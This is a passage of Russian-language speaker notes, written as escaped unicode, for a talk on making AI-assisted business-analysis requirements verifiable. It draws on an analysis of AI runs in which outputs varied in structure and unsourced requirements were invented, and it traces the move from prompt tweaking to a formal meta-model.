\u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438\\n  \u0438 \u043a\u043e\u0434, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0432\u043b\u0430\u0434\u0435\u0435\u0442 \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u0430\u043c\u0438.\\n- **\u0422\u043e\u043d:** \u0438\u043d\u0436\u0435\u043d\u0435\u0440\u043d\u044b\u0439. \u041a\u0430\u0436\u0434\u043e\u0435 \u0447\u0438\u0441\u043b\u043e \u043d\u0430\u0437\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u0432\u043c\u0435\u0441\u0442\u0435 \u0441 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u043e\u043c. \u0422\u0430\u043c, \u0433\u0434\u0435\\n  \u0435\u0441\u0442\u044c \u043f\u0440\u043e\u0431\u0435\u043b, \u043e \u043d\u0451\u043c \u0433\u043e\u0432\u043e\u0440\u0438\u0442\u0441\u044f \u043f\u0435\u0440\u0432\u044b\u043c: \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0440\u0443\u043a\u043e\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u044c \u043d\u0430\u0439\u0434\u0451\u0442 \u0435\u0433\u043e\\n  \u0441\u0430\u043c, \u0438 \u0442\u043e\u0433\u0434\u0430 \u043f\u043e\u0441\u0442\u0440\u0430\u0434\u0430\u0435\u0442 \u0434\u043e\u0432\u0435\u0440\u0438\u0435 \u043a \u043e\u0441\u0442\u0430\u043b\u044c\u043d\u044b\u043c \u0447\u0438\u0441\u043b\u0430\u043c.\\n\\n### \u0427\u0435\u0433\u043e \u043d\u0435 \u0443\u0442\u0432\u0435\u0440\u0436\u0434\u0430\u0442\u044c\\n\\n- \u0427\u0442\u043e \u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u0434\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d end-to-end. \u0414\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d \u043c\u0430\u0448\u0438\u043d\u043d\u044b\u0439 \u043e\u0442\u0440\u0435\u0437\u043e\u043a \u2014\\n  \u043e\u0442 \u0440\u0430\u0431\u043e\u0447\u0435\u0433\u043e \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430 \u0434\u043e Release. \u0428\u0430\u0433\u0438 \u043c\u043e\u0434\u0435\u043b\u0438 \u0432\u0435\u0440\u043e\u044f\u0442\u043d\u043e\u0441\u0442\u043d\u044b.\\n- \u0427\u0442\u043e \u043c\u0435\u0442\u0440\u0438\u043a\u0438 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 `mango_ba_prompts` \u2014 \u0431\u0435\u043d\u0447\u043c\u0430\u0440\u043a. \u041e\u043d\u0438\\n  \u0441\u0430\u043c\u043e\u0434\u0435\u043a\u043b\u0430\u0440\u0438\u0440\u0443\u0435\u043c\u044b\u0435 \u0438 \u0432 \u0440\u0430\u0437\u043d\u044b\u0445 \u0444\u043e\u0440\u043c\u0430\u0442\u0430\u0445. \u0420\u0430\u0437\u0431\u043e\u0440 \u043e\u043f\u0438\u0440\u0430\u0435\u0442\u0441\u044f \u043d\u0430 \u043d\u0430\u0431\u043b\u044e\u0434\u0430\u0435\u043c\u044b\u0435\\n  \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u044b \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432, \u0430 \u043d\u0435 \u043d\u0430 \u0441\u0430\u043c\u043e\u043e\u0446\u0435\u043d\u043a\u0443.\\n- \u0427\u0442\u043e \u0421\u0440\u0435\u0434\u0430 4 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442. \u042d\u0442\u043e \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u044f \u0441 \u043f\u043b\u0430\u043d\u043e\u043c, \u0430 \u043d\u0435 \u0440\u0430\u0437\u0432\u0451\u0440\u043d\u0443\u0442\u0430\u044f\\n  \u0441\u0438\u0441\u0442\u0435\u043c\u0430.\\n\\n---\\n\\n## \u0421\u043b\u0430\u0439\u0434 1. \u0422\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f \u043c\u043e\u0436\u043d\u043e \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u0442\u044c \u043a\u0430\u043a \u0438\u043d\u0436\u0435\u043d\u0435\u0440\u043d\u044b\u0439 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\\n\\n**\u0412\u0440\u0435\u043c\u044f:** 1 \u043c\u0438\u043d\u0443\u0442\u0430. **\u0426\u0435\u043b\u044c:** \u043d\u0430\u0437\u0432\u0430\u0442\u044c \u0442\u0435\u0437\u0438\u0441 \u0438 \u0434\u0430\u0442\u044c \u043f\u043e\u043d\u044f\u0442\u044c, \u0447\u0442\u043e \u043e\u043d \u043e\u043f\u0438\u0440\u0430\u0435\u0442\u0441\u044f\\n\u043d\u0430 \u0438\u0441\u0442\u043e\u0440\u0438\u044e, \u0430 \u043d\u0435 \u043d\u0430 \u0442\u0435\u043e\u0440\u0438\u044e.\\n\\n**\u0422\u0435\u043a\u0441\u0442.**\\n\\n- \u041c\u044b \u043f\u0440\u0438\u0448\u043b\u0438 \u043d\u0435 \u0441 \u0438\u0434\u0435\u0435\u0439, \u0430 \u0441 \u043f\u043e\u043b\u0443\u0433\u043e\u0434\u043e\u043c \u0440\u0430\u0431\u043e\u0442\u044b: \u0441 \u0430\u043f\u0440\u0435\u043b\u044f \u043f\u043e \u0441\u0435\u043d\u0442\u044f\u0431\u0440\u044c 2026 \u0433\u043e\u0434\u0430\\n  69 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0437\u0430\u0434\u0430\u0447 \u0431\u0438\u0437\u043d\u0435\u0441-\u0430\u043d\u0430\u043b\u0438\u0437\u0430 Mango \u0447\u0435\u0440\u0435\u0437 \u0418\u0418.\\n- \u0412\u0441\u0451 \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043d\u043e \u0432 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u043e\u043c \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0438\\n  [`mango_ba_prompts`](https://github.com/G-Ivan-A/mango_ba_prompts): \u0432\u0445\u043e\u0434\u044b,\\n  \u0432\u044b\u0445\u043e\u0434\u044b, \u043e\u0431\u0440\u0430\u0442\u043d\u0430\u044f \u0441\u0432\u044f\u0437\u044c \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u0430, \u0436\u0443\u0440\u043d\u0430\u043b\u044b. 583 \u043a\u043e\u043c\u043c\u0438\u0442\u0430.\\n- \u0418\u0437 \u044d\u0442\u043e\u0439 \u0438\u0441\u0442\u043e\u0440\u0438\u0438 \u0432\u044b\u0440\u043e\u0441\u043b\u0430 \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c \u2014 \u0444\u043e\u0440\u043c\u0430\u043b\u044c\u043d\u043e\u0435 \u043e\u043f\u0438\u0441\u0430\u043d\u0438\u0435 \u0442\u043e\u0433\u043e, \u043a\u0430\u043a\\n  \u0443\u0441\u0442\u0440\u043e\u0435\u043d\u0430 \u0440\u0430\u0431\u043e\u0442\u0430 \u0411\u0410 \u0438 \u0433\u0434\u0435 \u0435\u0451 \u043c\u043e\u0436\u043d\u043e \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0442\u044c \u043c\u0430\u0448\u0438\u043d\u043e\u0439.\\n- \u0413\u043b\u0430\u0432\u043d\u043e\u0435, \u0447\u0442\u043e \u043c\u044b \u043f\u043e\u043d\u044f\u043b\u0438: \u043c\u044b \u043d\u0435 \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0437\u0438\u0440\u0443\u0435\u043c \u043c\u044b\u0448\u043b\u0435\u043d\u0438\u0435 \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u0430. \u041c\u044b \u0434\u0435\u043b\u0430\u0435\u043c\\n  \u0435\u0433\u043e \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c\u044b\u043c.\\n\\n**\u041c\u043e\u0441\u0442\u0438\u043a:** \u00ab\u041d\u0430\u0447\u043d\u0443 \u0441 \u0442\u043e\u0433\u043e, \u043f\u043e\u0447\u0435\u043c\u0443 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c\u043e\u0441\u0442\u044c \u0437\u0434\u0435\u0441\u044c \u2014 \u043d\u0435 \u0430\u043a\u0430\u0434\u0435\u043c\u0438\u0447\u0435\u0441\u043a\u0438\u0439\\n\u0432\u043e\u043f\u0440\u043e\u0441\u00bb.\\n\\n---\\n\\n## \u0421\u043b\u0430\u0439\u0434 2. \u0422\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0435 \u2014 \u044d\u0442\u043e \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e\\n\\n**\u0412\u0440\u0435\u043c\u044f:** 1,5 \u043c\u0438\u043d\u0443\u0442\u044b. **\u0426\u0435\u043b\u044c:** \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0446\u0435\u043d\u0443 \u043e\u0448\u0438\u0431\u043a\u0438, \u0447\u0442\u043e\u0431\u044b \u0434\u0430\u043b\u044c\u043d\u0435\u0439\u0448\u0430\u044f\\n\u0441\u0442\u0440\u043e\u0433\u043e\u0441\u0442\u044c \u043d\u0435 \u0432\u044b\u0433\u043b\u044f\u0434\u0435\u043b\u0430 \u0438\u0437\u0431\u044b\u0442\u043e\u0447\u043d\u043e\u0439.\\n\\n**\u0422\u0435\u043a\u0441\u0442.**\\n\\n- \u041c\u044b \u0433\u043e\u0432\u043e\u0440\u0438\u043c \u043e \u043a\u043e\u043c\u0430\u043d\u0434\u0430\u0445 \u043a\u0440\u0443\u043f\u043d\u044b\u0445 \u043a\u043b\u0438\u0435\u043d\u0442\u043e\u0432. \u0422\u0430\u043c \u0422\u0417 \u2014 \u043d\u0435 \u0440\u0430\u0431\u043e\u0447\u0430\u044f \u0437\u0430\u043c\u0435\u0442\u043a\u0430, \u0430\\n  \u043e\u0441\u043d\u043e\u0432\u0430 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u0438 \u0447\u0430\u0441\u0442\u044c \u0434\u043e\u0433\u043e\u0432\u043e\u0440\u0430.\\n- \u041f\u0440\u043e\u0434\u0443\u043a\u0442 \u0448\u0438\u0440\u043e\u043a\u0438\u0439: \u0432 \u043d\u0430\u0448\u0435\u0439\\n  [\u0442\u0430\u043a\u0441\u043e\u043d\u043e\u043c\u0438\u0438](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/product-taxonomy/mango-products.yaml)\\n  42 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u044b\u0435 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u0438 \u0432 8 \u0434\u043e\u043c\u0435\u043d\u0430\u0445. \u0423 \u043a\u0430\u0436\u0434\u043e\u0439 \u0441\u0432\u043e\u0439 \u0441\u043b\u043e\u0432\u0430\u0440\u044c \u0438 \u0441\u0432\u043e\u0438\\n  \u043b\u043e\u0432\u0443\u0448\u043a\u0438: \u043e\u0447\u0435\u0440\u0435\u0434\u044c \u0438 \u0433\u0440\u0443\u043f\u043f\u0430, SLA \u0438 AHT, IVR \u0438 \u0430\u0432\u0442\u043e\u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0442\u043e\u0440.\\n- \u041e\u0434\u043d\u043e \u043e\u0431\u0440\u0430\u0449\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u0445\u043e\u0434\u0438\u0442 \u043c\u0438\u043d\u0438\u043c\u0443\u043c \u0442\u0440\u0438 \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0438. \u041d\u0430 \u043a\u0430\u0436\u0434\u043e\u0439 \u0442\u0435\u0440\u044f\u0435\u0442\u0441\u044f \u0447\u0430\u0441\u0442\u044c\\n  \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442\u0430, \u0438 \u043f\u043e\u0442\u043e\u043c \u044d\u0442\u043e \u0432\u0441\u043f\u043b\u044b\u0432\u0430\u0435\u0442 \u0441\u043f\u043e\u0440\u043e\u043c \u043e \u043f\u0440\u0438\u0451\u043c\u043a\u0435.\\n\\n**\u041f\u043e\u0447\u0435\u043c\u0443 \u044d\u0442\u043e \u0432\u0430\u0436\u043d\u043e \u0434\u043b\u044f AI-\u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0438:** \u043a\u043e\u0433\u0434\u0430 \u043e\u0448\u0438\u0431\u043a\u0430 \u0441\u0442\u043e\u0438\u0442 \u0434\u043e\u0440\u043e\u0433\u043e,\\n\u00ab\u0432 \u0441\u0440\u0435\u0434\u043d\u0435\u043c \u0445\u043e\u0440\u043e\u0448\u0438\u0439\u00bb \u0442\u0435\u043a\u0441\u0442 \u043c\u043e\u0434\u0435\u043b\u0438 \u043d\u0435 \u0433\u043e\u0434\u0438\u0442\u0441\u044f. \u041d\u0443\u0436\u043d\u0430 \u0433\u0430\u0440\u0430\u043d\u0442\u0438\u044f \u043d\u0430 \u0443\u0440\u043e\u0432\u043d\u0435\\n\u043e\u0442\u0434\u0435\u043b\u044c\u043d\u043e\u0433\u043e \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f.\\n\\n**\u041c\u043e\u0441\u0442\u0438\u043a:** \u00ab\u041f\u043e\u0441\u043c\u043e\u0442\u0440\u0438\u043c, \u0447\u0442\u043e \u043d\u0430 \u0441\u0430\u043c\u043e\u043c \u0434\u0435\u043b\u0435 \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0434\u0438\u043b\u043e, \u043a\u043e\u0433\u0434\u0430 \u043c\u044b \u043e\u0442\u0434\u0430\u0432\u0430\u043b\u0438\\n\u044d\u0442\u0443 \u0440\u0430\u0431\u043e\u0442\u0443 \u0418\u0418\u00bb.\\n\\n---\\n\\n## \u0421\u043b\u0430\u0439\u0434 3. \u0421\u0442\u0430\u043d\u0434\u0430\u0440\u0442 \u0442\u0435\u0440\u044f\u0435\u0442\u0441\u044f \u043d\u0430 \u043a\u0430\u0436\u0434\u043e\u043c \u0440\u0443\u0447\u043d\u043e\u043c \u0448\u0430\u0433\u0435\\n\\n**\u0412\u0440\u0435\u043c\u044f:** 2 \u043c\u0438\u043d\u0443\u0442\u044b. **\u0426\u0435\u043b\u044c:** \u043f\u043e\u043a\u0430\u0437\u0430\u0442\u044c \u0431\u043e\u043b\u044c \u0447\u0438\u0441\u043b\u0430\u043c\u0438 \u0438\u0437 \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u0433\u043e \u043a\u043e\u0440\u043f\u0443\u0441\u0430,\\n\u0430 \u043d\u0435 \u0438\u0437 \u043e\u0442\u0440\u0430\u0441\u043b\u0435\u0432\u044b\u0445 \u043e\u0442\u0447\u0451\u0442\u043e\u0432.\\n\\n**\u0422\u0435\u043a\u0441\u0442.**\\n\\n- \u041c\u044b \u0440\u0430\u0437\u043e\u0431\u0440\u0430\u043b\u0438\\n  [\u0432\u0441\u0435 67 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-23-requirements-run-forensics.md),\\n  \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0431\u044b\u043b\u0438 \u043d\u0430 \u043c\u043e\u043c\u0435\u043d\u0442 \u0440\u0430\u0437\u0431\u043e\u0440\u0430. \u041f\u0440\u043e\u0433\u043e\u043d \u0437\u0430 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u043c, \u043f\u043e \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u0430\u043c.\\n- 17 \u0438\u0442\u043e\u0433\u043e\u0432\u044b\u0445 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u043e\u0432 \u0441 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f\u043c\u0438 \u2014 17 \u0440\u0430\u0437\u043d\u044b\u0445 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440. \u041c\u0435\u0442\u0440\u0438\u043a\u0430\\n  \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u043d\u043e\u0439 \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u043c\u043e\u0441\u0442\u0438 `M-1` \u0440\u0430\u0432\u043d\u0430 \u043d\u0443\u043b\u044e. \u0414\u0430\u0436\u0435 \u043e\u0434\u043d\u0430 \u0437\u0430\u0434\u0430\u0447\u0430,\\n  BCREQ-1074, \u0432 \u0442\u0440\u0451\u0445 \u043f\u0440\u043e\u0433\u043e\u043d\u0430\u0445 \u0434\u0430\u043b\u0430 \u0442\u0440\u0438 \u0440\u0430\u0437\u043d\u044b\u0445 \u0441\u043a\u0435\u043b\u0435\u0442\u0430.\\n- 50 \u0438\u0437 67 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u043d\u0435 \u043e\u0431\u044a\u044f\u0432\u043b\u044f\u044e\u0442, \u0438\u0437 \u043a\u0430\u043a\u043e\u0433\u043e \u0432\u0445\u043e\u0434\u0430 \u043e\u043d\u0438 \u0440\u0430\u0431\u043e\u0442\u0430\u043b\u0438. \u0422\u0430\u043a\u043e\u0439\\n  \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u043d\u0435\u043b\u044c\u0437\u044f \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u0435\u0441\u0442\u0438 \u0438 \u043d\u0435\u043b\u044c\u0437\u044f \u0447\u0435\u0441\u0442\u043d\u043e \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c.\\n- \u0418\u0418 \u0437\u0430\u043f\u043e\u043b\u043d\u044f\u0435\u0442 \u043f\u0443\u0441\u0442\u043e\u0442\u044b \u043f\u0440\u0430\u0432\u0434\u043e\u043f\u043e\u0434\u043e\u0431\u043d\u044b\u043c. \u0412 RUN-0015 \u043f\u043e\u044f\u0432\u0438\u043b\u0438\u0441\u044c \u0446\u0435\u043b\u0435\u0432\u044b\u0435 NFR \u2014\\n  5 \u043c\u0438\u043d\u0443\u0442, 100 \u043c\u0441, 2 \u0441\u0435\u043a\u0443\u043d\u0434\u044b, 24/7. \u041d\u0438 \u043e\u0434\u043d\u043e\u0433\u043e \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0430, \u0432\u0441\u0451 \u043e\u0442\u043a\u043b\u043e\u043d\u0438\u043b\\n  \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a.\\n- \u0412 RUN-0063 \u043f\u044f\u0442\u044c \u0438\u0437 \u0448\u0435\u0441\u0442\u0438 \u0444\u0443\u043d\u043a\u0446\u0438\u043e\u043d\u0430\u043b\u044c\u043d\u044b\u0445 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0439 \u043e\u043f\u0438\u0441\u044b\u0432\u0430\u043b\u0438 \u0442\u043e, \u0447\u0442\u043e\\n  \u0441\u0438\u0441\u0442\u0435\u043c\u0430 \u0443\u0436\u0435 \u0443\u043c\u0435\u0435\u0442. \u0422\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0435 \u043a \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044e \u043f\u043e\u0434\u043c\u0435\u043d\u0438\u043b\u043e\u0441\u044c \u043e\u043f\u0438\u0441\u0430\u043d\u0438\u0435\u043c \u0442\u0435\u043a\u0443\u0449\u0435\u0433\u043e\\n  \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u044f.\\n- \u0418\u0442\u043e\u0433: \u0431\u0435\u0437 \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0439 \u043f\u0440\u0430\u0432\u043a\u0438 \u043f\u0440\u0438\u043d\u044f\u0442\u043e 2 \u0438\u0437 32 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u0441 \u0432\u0435\u0440\u0434\u0438\u043a\u0442\u043e\u043c \u2014\\n  6%. \u042d\u0442\u043e \u043d\u0430\u0448\u0430\\n  [\u0431\u0430\u0437\u043e\u0432\u0430\u044f \u043b\u0438\u043d\u0438\u044f](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/methodology-unification/40-practice-and-cases.md).\\n\\n**\u041a\u0430\u043a \u043f\u043e\u0434\u0430\u0442\u044c:** \u043d\u0435 \u00ab\u0418\u0418 \u043f\u043b\u043e\u0445\u043e\u0439\u00bb, \u0430 \u00ab\u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u043d\u0435 \u0437\u0430\u0434\u0430\u0451\u0442, \u0447\u0442\u043e \u0441\u0447\u0438\u0442\u0430\u0442\u044c\\n\u043f\u0440\u0430\u0432\u0438\u043b\u044c\u043d\u044b\u043c \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u043e\u043c\u00bb. \u041c\u043e\u0434\u0435\u043b\u044c \u043e\u0442\u0432\u0435\u0447\u0430\u0435\u0442 \u043d\u0430 \u0442\u043e\u0442 \u0432\u043e\u043f\u0440\u043e\u0441, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0437\u0430\u0434\u0430\u043d.\\n\\n**\u041c\u043e\u0441\u0442\u0438\u043a:** \u00ab\u0415\u0441\u0442\u0435\u0441\u0442\u0432\u0435\u043d\u043d\u0430\u044f \u043f\u0435\u0440\u0432\u0430\u044f \u0440\u0435\u0430\u043a\u0446\u0438\u044f \u2014 \u0443\u043b\u0443\u0447\u0448\u0438\u0442\u044c \u043f\u0440\u043e\u043c\u043f\u0442. \u041c\u044b \u0438\u043c\u0435\u043d\u043d\u043e \u044d\u0442\u043e \u0438\\n\u0434\u0435\u043b\u0430\u043b\u0438, \u0434\u043e\u043b\u0433\u043e\u00bb.\\n\\n---\\n\\n## \u0421\u043b\u0430\u0439\u0434 4. \u0423\u043b\u0443\u0447\u0448\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432 \u043f\u0435\u0440\u0435\u0441\u0442\u0430\u043b\u043e \u0434\u0430\u0432\u0430\u0442\u044c \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\\n\\n**\u0412\u0440\u0435\u043c\u044f:** 2,5 \u043c\u0438\u043d\u0443\u0442\u044b. **\u0426\u0435\u043b\u044c:** \u043f\u043e\u043a\u0430\u0437\u0430\u0442\u044c \u044d\u0432\u043e\u043b\u044e\u0446\u0438\u044e \u043e\u0442 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u044f \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432 \u043a\\n\u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438 \u043a\u0430\u043a \u0432\u044b\u043d\u0443\u0436\u0434\u0435\u043d\u043d\u044b\u0439 \u0438\u043d\u0436\u0435\u043d\u0435\u0440\u043d\u044b\u0439 \u0432\u044b\u0432\u043e\u0434. \u042d\u0442\u043e \u043a\u043b\u044e\u0447 \u043a \u0434\u043e\u0432\u0435\u0440\u0438\u044e: \u043f\u043e\u0434\u0445\u043e\u0434\\n\u0432\u044b\u0440\u043e\u0441 \u0438\u0437 \u043d\u0435\u0443\u0434\u0430\u0447, \u0430 \u043d\u0435 \u0438\u0437 \u043f\u0440\u0435\u0437\u0435\u043d\u0442\u0430\u0446\u0438\u0438.\\n\\n**\u0422\u0435\u043a\u0441\u0442.**\\n\\n- \u0412\u0435\u0441\u043d\u043e\u0439 \u0432\u0441\u0451 \u043d\u0430\u0447\u0438\u043d\u0430\u043b\u043e\u0441\u044c \u0441 \u043e\u0434\u043d\u043e\u0433\u043e \u0431\u043e\u043b\u044c\u0448\u043e\u0433\u043e \u043f\u0440\u043e\u043c\u043f\u0442\u0430 \u00ab\u0434\u043b\u044f \u0411\u0410\u00bb. \u0412 \u0438\u044e\u043d\u0435 \u043c\u044b\\n  [\u0440\u0430\u0437\u0434\u0435\u043b\u0438\u043b\u0438 \u0435\u0433\u043e](https://github.com/G-Ivan-A/mango_ba_prompts/blob/main/CHANGELOG.md)\\n  \u043d\u0430 23 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u044b\u0445 \u0444\u0430\u0439\u043b\u0430 \u043f\u043e \u0441\u0445\u0435\u043c\u0435 \u00ab\u0434\u043e\u043c\u0435\u043d \u2014 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044f \u2014 \u0440\u0435\u0436\u0438\u043c\u00bb.\\n- \u041f\u043e\u0441\u043b\u0435 \u043f\u0435\u0440\u0432\u043e\u0439 \u0440\u0435\u0430\u043b\u044c\u043d\u043e\u0439 \u0441\u0435\u0441\u0441\u0438\u0438, \u0432\\n  [\u044d\u043a\u0441\u043f\u0435\u0440\u0438\u043c\u0435\u043d\u0442\u0435 1027](https://github.com/G-Ivan-A/mango_ba_prompts/blob/main/docs/analysis/experiment-1027-analysis.md),\\n  \u043f\u0440\u0430\u0432\u043a\u0438 \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432 \u043e\u0442\u043a\u0430\u0442\u0438\u043b\u0438. \u0421 \u0442\u0435\u0445 \u043f\u043e\u0440 \u043f\u0440\u043e\u043c\u043f\u0442 \u043c\u0435\u043d\u044f\u0435\u0442\u0441\u044f \u0442\u043e\u043b\u044c\u043a\u043e \u0447\u0435\u0440\u0435\u0437\\n  \u044d\u043a\u0441\u043f\u0435\u0440\u0438\u043c\u0435\u043d\u0442, RFC \u0438 \u043e\u0434\u043e\u0431\u0440\u0435\u043d\u0438\u0435. \u042d\u0442\u043e \u0431\u044b\u043b \u043f\u0435\u0440\u0432\u044b\u0439 \u0448\u0430\u0433 \u043e\u0442 \u0440\u0435\u043c\u0435\u0441\u043b\u0430 \u043a \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0443.\\n- \u0412 \u0430\u0432\u0433\u0443\u0441\u0442\u0435 \u043c\u044b \u0447\u0435\u0441\u0442\u043d\u043e \u0437\u0430\u043f\u0438\u0441\u0430\u043b\u0438: evals \u0438 \u044d\u0442\u0430\u043b\u043e\u043d\u043d\u044b\u0445 \u043d\u0430\u0431\u043e\u0440\u043e\u0432 \u043d\u0435\u0442. \u041a\u0430\u0436\u0434\u044b\u0439\\n  \u043f\u0440\u043e\u0433\u043e\u043d \u0441\u0442\u0430\u043b\u0438 \u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u043f\u043e \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0443: \u0432\u0445\u043e\u0434, \u0432\u044b\u0445\u043e\u0434, \u043e\u0431\u0440\u0430\u0442\u043d\u0430\u044f \u0441\u0432\u044f\u0437\u044c, \u043c\u0435\u0442\u0440\u0438\u043a\u0438.\\n- \u0412 \u0441\u0435\u043d\u0442\u044f\u0431\u0440\u0435 \u043f\u0440\u043e\u0432\u0435\u043b\u0438 \u0444\u043e\u0440\u0435\u043d\u0437\u0438\u043a\u0443. \u0412\u044b\u044f\u0441\u043d\u0438\u043b\u043e\u0441\u044c, \u0447\u0442\u043e \u0442\u0440\u0438 \u0440\u0435\u0436\u0438\u043c\u0430 \u043e\u0434\u043d\u043e\u0433\u043e \u043f\u0440\u043e\u043c\u043f\u0442\u0430 \u2014\\n  \u043f\u043e\u0448\u0430\u0433\u043e\u0432\u044b\u0439, \u043e\u0434\u043d\u0438\u043c \u0432\u044b\u0437\u043e\u0432\u043e\u043c \u0438 \u0441\u0442\u0430\u0440\u044b\u0439 \u2014 \u043f\u043e\u0447\u0442\u0438 \u043d\u0435 \u0441\u043e\u0432\u043f\u0430\u0434\u0430\u044e\u0442 \u043f\u043e \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0435:\\n  [0.077 \u043f\u043e \u0416\u0430\u043a\u043a\u0430\u0440\u0443](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/2026-09-08-meta-model-inputs-facts.md).\\n  \u0410 \u0438\u0437 12 \u043a\u043e\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0439, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043d\u0443\u0436\u043d\u044b \u0434\u043b\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438, \u2014 \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043d\u044b\u0439 \u0432\u0445\u043e\u0434,\\n  \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442, \u0433\u0435\u0439\u0442 \u2014 10\\n  [\u043d\u0435 \u0432\u0441\u0442\u0440\u0435\u0447\u0430\u044e\u0442\u0441\u044f \u043d\u0438 \u0432 \u043e\u0434\u043d\u043e\u043c](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/2026-09-09-legacy-normative-influence-facts.md)\\n  \u0438\u0437 24 \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432.\\n- 